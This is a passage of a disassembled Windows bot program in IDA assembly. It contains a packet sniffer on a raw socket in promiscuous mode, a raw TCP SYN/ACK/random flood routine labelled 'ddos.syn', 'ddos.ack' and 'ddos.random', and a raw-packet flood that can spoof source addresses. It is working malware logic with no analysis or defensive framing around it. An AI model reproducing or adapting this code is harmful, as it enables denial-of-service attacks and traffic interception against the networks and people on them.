var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CB9E8	; gethostname
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CBA58	; gethostbyname
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41CD20
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CBA54	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_413292
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_413292:				; CODE XREF: sub_4131EC+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CBA00	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413308
		call	dword_4CB968	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437870
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4132E4
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h


loc_4132E4:				; CODE XREF: sub_4131EC+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C	; closesocket
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_413308:				; CODE XREF: sub_4131EC+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CB980	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41338E
		call	dword_4CB968	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437840
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_41336A
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h


loc_41336A:				; CODE XREF: sub_4131EC+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C	; closesocket
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_41338E:				; CODE XREF: sub_4131EC+13Cj
		mov	esi, 200h


loc_413393:				; CODE XREF: sub_4131EC+1D6j
					; sub_4131EC+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CB9EC	; recv
		cmp	[ebp+var_113AF], 6
		jnz	short loc_413393
		push	[ebp+var_113A4]
		mov	edi, dword_4271CC
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_413393
		cmp	[ebp+arg_0], 19h
		jz	short loc_413393
		cmp	edi, 6Eh
		jz	short loc_413393
		cmp	edi, 19h
		jz	short loc_413393
		push	[ebp+var_113AC]
		call	sub_412EDD
		pop	ecx
		push	dword ptr [eax]
		call	dword_4271D0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41C266
		push	[ebp+var_113A8]
		call	sub_412EDD
		add	esp, 10h
		push	dword ptr [eax]
		call	dword_4271D0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41B9C0
		add	esp, 10h
		test	eax, eax
		jle	short loc_413491


loc_41345D:				; CODE XREF: sub_4131EC+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_413474
		mov	byte ptr [eax],	20h


loc_413474:				; CODE XREF: sub_4131EC+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41347C
		mov	byte ptr [eax],	20h


loc_41347C:				; CODE XREF: sub_4131EC+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_41345D


loc_413491:				; CODE XREF: sub_4131EC+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_413544
		cmp	edi, 50h
		jz	loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412EEC
		test	al, al
		pop	ecx
		jz	short loc_4134D8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43780C
		jmp	loc_413573
; ---------------------------------------------------------------------------


loc_4134D8:				; CODE XREF: sub_4131EC+2C7j
		cmp	edi, 50h
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413003
		test	al, al
		pop	ecx
		jz	short loc_41350E
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4377D8
		jmp	short loc_413573
; ---------------------------------------------------------------------------


loc_41350E:				; CODE XREF: sub_4131EC+300j
		cmp	edi, 50h
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413079
		test	al, al
		pop	ecx
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4377A4
		jmp	short loc_413573
; ---------------------------------------------------------------------------


loc_413544:				; CODE XREF: sub_4131EC+2A9j
					; sub_4131EC+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413100
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_4135B1
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_43776C


loc_413573:				; CODE XREF: sub_4131EC+2E7j
					; sub_4131EC+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_413393
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h
		jmp	loc_413393
; ---------------------------------------------------------------------------


loc_4135B1:				; CODE XREF: sub_4131EC+36Ej
		call	sub_413187
		test	al, al
		pop	ecx
		jz	loc_413393
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_437734
		jmp	short loc_413573
sub_4131EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4135DF	proc near		; DATA XREF: sub_401ACD+6464o

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4139CB
		add	esp, 14h
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_43789C
		push	eax
		call	sub_41C266
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_413672
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_409869
		add	esp, 14h


loc_413672:				; CODE XREF: sub_4135DF+71j
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_415D38
		push	[ebp+var_290]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
sub_4135DF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413694	proc near		; CODE XREF: sub_4139CB+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB944	; WSAStartup
		test	eax, eax
		jz	short loc_4136D4
		xor	eax, eax
		jmp	loc_4139C7
; ---------------------------------------------------------------------------


loc_4136D4:				; CODE XREF: sub_413694+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CBA78	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4139BF
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CB9B4	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4139B5
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CB9D4	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CB9D4	; htons
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CB9D4	; htons
		mov	[ebp+var_12], ax
		call	sub_41C2C2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CB9D4	; htons
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CB9D0	; htonl
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137A4
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_4137F8
; ---------------------------------------------------------------------------


loc_4137A4:				; CODE XREF: sub_413694+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137C0
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_4137F8
; ---------------------------------------------------------------------------


loc_4137C0:				; CODE XREF: sub_413694+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137F8
		call	sub_41C2C2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41C2C2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_4137F8:				; CODE XREF: sub_413694+10Ej
					; sub_413694+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CB9D4	; htons
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	dword_42713C	; QueryPerformanceFrequency
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_427138	; QueryPerformanceCounter
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41DB20
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_413846:				; CODE XREF: sub_413694+2E2j
					; sub_413694+2F0j
		mov	[ebp+var_4], bx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB9D4	; htons
		mov	[ebp+var_14], ax
		call	sub_41C2C2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C2C2
		or	edi, eax
		push	edi
		call	dword_4CB9D4	; htons
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB9D0	; htonl
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB9D4	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CBA38	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413989
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_427138	; QueryPerformanceCounter
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4139B2
		jl	loc_413846
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4139B2
		jmp	loc_413846
; ---------------------------------------------------------------------------


loc_413989:				; CODE XREF: sub_413694+2CBj
		call	dword_4CB968	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4378C4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415D38
		add	esp, 10h
		jmp	short loc_4139B5
; ---------------------------------------------------------------------------


loc_4139B2:				; CODE XREF: sub_413694+2E0j
					; sub_413694+2EEj
		mov	ebx, [ebp+arg_8]


loc_4139B5:				; CODE XREF: sub_413694+78j
					; sub_413694+31Cj
		push	[ebp+var_20]
		call	dword_4CBA6C	; closesocket
		pop	esi


loc_4139BF:				; CODE XREF: sub_413694+5Bj
		call	dword_4CB92C	; WSACleanup
		mov	eax, ebx


loc_4139C7:				; CODE XREF: sub_413694+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_413694	endp


; =============== S U B	R O U T	I N E =======================================



sub_4139CB	proc near		; CODE XREF: sub_4135DF+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40A8F0
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41C159
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_41C159
		mov	edi, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_413694
		add	esp, 20h
		test	eax, eax
		jnz	short loc_413A1A
		push	1
		pop	eax


loc_413A1A:				; CODE XREF: sub_4139CB+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4139CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413A29	proc near		; DATA XREF: sub_401ACD+6643o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_4CBA54	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_413AC4
		call	dword_4CB968	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4379C4
		push	eax
		call	sub_41C266
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_413AA7
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409869
		add	esp, 14h


loc_413AA7:				; CODE XREF: sub_413A29+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_415D38
		push	[ebp+var_38]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4270D4	; ExitThread


loc_413AC4:				; CODE XREF: sub_413A29+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_4CB9B4	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413B3B
		call	dword_4CB968	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_437994
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_413B1E
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409869
		add	esp, 14h


loc_413B1E:				; CODE XREF: sub_413A29+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_415D38
		push	[ebp+var_38]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4270D4	; ExitThread


loc_413B3B:				; CODE XREF: sub_413A29+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4CBA14	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413BA2
		lea	eax, [ebp+var_3BC]
		push	offset unk_437974
		push	eax
		call	sub_41C266
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_413B85
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409869
		add	esp, 14h


loc_413B85:				; CODE XREF: sub_413A29+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_415D38
		push	[ebp+var_38]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4270D4	; ExitThread


loc_413BA2:				; CODE XREF: sub_413A29+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_4CB9D4	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4CBA14	; inet_addr
		mov	esi, dword_4270B0
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax


loc_413BE0:				; CODE XREF: sub_413A29+2E8j
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_413D8B
		push	41Ch
		mov	byte_4CE740, 45h
		call	dword_4CB9D4	; htons
		cmp	[ebp+var_2C], edi
		mov	word_4CE742, ax
		mov	word_4CE744, bx
		mov	word_4CE746, di
		mov	byte_4CE748, 80h
		mov	byte_4CE749, bl
		mov	word_4CE74A, di
		jz	short loc_413C66
		call	sub_41C2C2
		mov	ebx, eax
		shl	ebx, 8
		call	sub_41C2C2
		add	ebx, eax
		shl	ebx, 8
		call	sub_41C2C2
		add	ebx, eax
		shl	ebx, 8
		call	sub_41C2C2
		add	ebx, eax
		push	1
		mov	dword_4CE74C, ebx
		pop	ebx
		jmp	short loc_413C7E
; ---------------------------------------------------------------------------


loc_413C66:				; CODE XREF: sub_413A29+20Bj
		push	[ebp+var_1BC]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA14	; inet_addr
		mov	dword_4CE74C, eax


loc_413C7E:				; CODE XREF: sub_413A29+23Bj
		mov	eax, [ebp+var_18]
		mov	dword_4CE750, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4CE754, dl
		call	sub_41C2C2
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4CE755, dl
		call	sub_41C2C2
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_4CE756, di
		mov	word_4CE75A, bx
		inc	edx
		mov	word_4CE758, dx
		call	sub_41C2C2
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_4CE75C
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_4CE740
		push	[ebp+var_4]
		call	dword_4CBA38	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413D16
		inc	[ebp+arg_0]
		jmp	loc_413BE0
; ---------------------------------------------------------------------------


loc_413D16:				; CODE XREF: sub_413A29+2E3j
		push	[ebp+var_4]
		call	dword_4CBA6C	; closesocket
		call	dword_4CB968	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_43792C
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_413D6E
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409869
		add	esp, 14h


loc_413D6E:				; CODE XREF: sub_413A29+323j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_415D38
		push	[ebp+var_38]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4270D4	; ExitThread


loc_413D8B:				; CODE XREF: sub_413A29+1C8j
		push	[ebp+var_4]
		call	dword_4CBA6C	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4378E0
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_413DF3
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_409869
		add	esp, 14h


loc_413DF3:				; CODE XREF: sub_413A29+3A8j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_415D38
		push	[ebp+var_38]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4270D4	; ExitThread
sub_413A29	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413E10	proc near		; DATA XREF: sub_401ACD+542Do

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
